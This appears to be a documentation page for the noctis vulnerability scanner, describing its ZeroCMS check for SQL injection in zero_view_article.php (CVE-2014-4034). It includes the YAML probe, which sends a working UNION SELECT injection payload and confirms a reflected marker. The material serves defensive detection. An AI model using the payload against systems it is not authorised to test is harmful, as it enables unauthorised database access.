ZeroCMS — 1 vulnerability check
noctis ships 1 vulnerability check for ZeroCMS, covering 4 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
ZeroCMS zero_view_article.php 'article_id' SQL Injection
| CVE | CVE-2014-4034, CVE-2014-4194, CVE-2014-4195, CVE-2014-4710 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | sqli — SQL injection |
| Services | http, https |
| Detection | tcp_connect, match · highest QoD 75 |
| Feed | tests/vulnerabilities/zerocms/CVE-2014-4034.yaml |
Detects CVE-2014-4034 by sending a UNION SELECT payload to the ZeroCMS zero_view_article.php endpoint and confirming the reflected SQL-Injection-Test marker on a ZeroCMS page.
How noctis detects it
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /zero_view_article.php?article_id=1337+union+select+concat(0x53514c2d496e6a656374696f… - Checks
resp.bannerfor>ZeroCMS< - Checks
resp.bannerforSQL-Injection-Test<→ finding QoD 75: ZeroCMS SQLi confirmed — UNION SELECT on zero_view_article.php 'article_id' reflected the SQL-Injection-Test marker on a ZeroCMS page at …:…
References:
Feed source — tests/vulnerabilities/zerocms/CVE-2014-4034.yaml
# ZeroCMS 1.0 — Privilege Escalation & SQL Injection (CVE-2014-4034)
#
# ZeroCMS fails to sanitise the `article_id` GET parameter of
# zero_view_article.php before using it in an SQL query. An unauthenticated
# attacker injects a UNION SELECT whose concat() column reflects a marker drawn
# from the database (SQL-Injection-Test) into the rendered article.
#
# Ported from OpenVAS/Greenbone NVT 2014/gb_zerocms_priv_esc_n_sql_inj_vuln.nasl
# (GPL-2.0-only). The request line reproduces the NASL payload verbatim:
# `union select concat(0x53514c2d...),1,1,1,1,1` (0x5351... decodes to the
# SQL-Injection-Test marker). The NASL also confirms the ZeroCMS fingerprint
# (>Login< / >ZeroCMS<) on the response.
#
# The payload carries URL-encoded/`+`-separated tokens that reqwest would
# normalise, so the request is sent verbatim over tcp_connect (HTTP/1.0) and
# matched on resp.banner.
uid: d13ad78a-7ef7-4e7d-a655-9c305c2516e0
name: "ZeroCMS zero_view_article.php 'article_id' SQL Injection"
description: |
Detects CVE-2014-4034 by sending a UNION SELECT payload to the ZeroCMS
zero_view_article.php endpoint and confirming the reflected SQL-Injection-Test marker
on a ZeroCMS page.
cves: [CVE-2014-4034, CVE-2014-4194, CVE-2014-4195, CVE-2014-4710]
cvss: 7.5
severity: high
confidence_base: 0.30
category: sqli
tags: [zerocms, sqli, openvas, web-application-abuses]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2014-4034"
- "OpenVAS/Greenbone NASL 2014/gb_zerocms_priv_esc_n_sql_inj_vuln.nasl (GPL-2.0-only)"
steps:
# Verbatim NASL payload: union select concat(0x5351... marker ...),1,1,1,1,1
- id: sqli-probe
action: tcp_connect
port: "{{port}}"
send: "GET /zero_view_article.php?article_id=1337+union+select+concat(0x53514c2d496e6a656374696f6e2d54657374),1,1,1,1,1 HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
timeout_secs: 10
store_as: resp
# NASL extra_check: confirm the response is a ZeroCMS page before trusting the marker.
- id: fingerprint
action: match
source: resp.banner
pattern: ">ZeroCMS<"
store_as: fp
# NASL confirmation marker — produced only by the concat() column, gated on the fingerprint.
- id: confirm-sqli
action: match
source: resp.banner
pattern: "SQL-Injection-Test<"
on_match:
condition: "fp.matched"
finding:
confidence_delta: 0.55
qod: 75
evidence: "ZeroCMS SQLi confirmed — UNION SELECT on zero_view_article.php 'article_id' reflected the SQL-Injection-Test marker on a ZeroCMS page at {{target_host}}:{{port}}"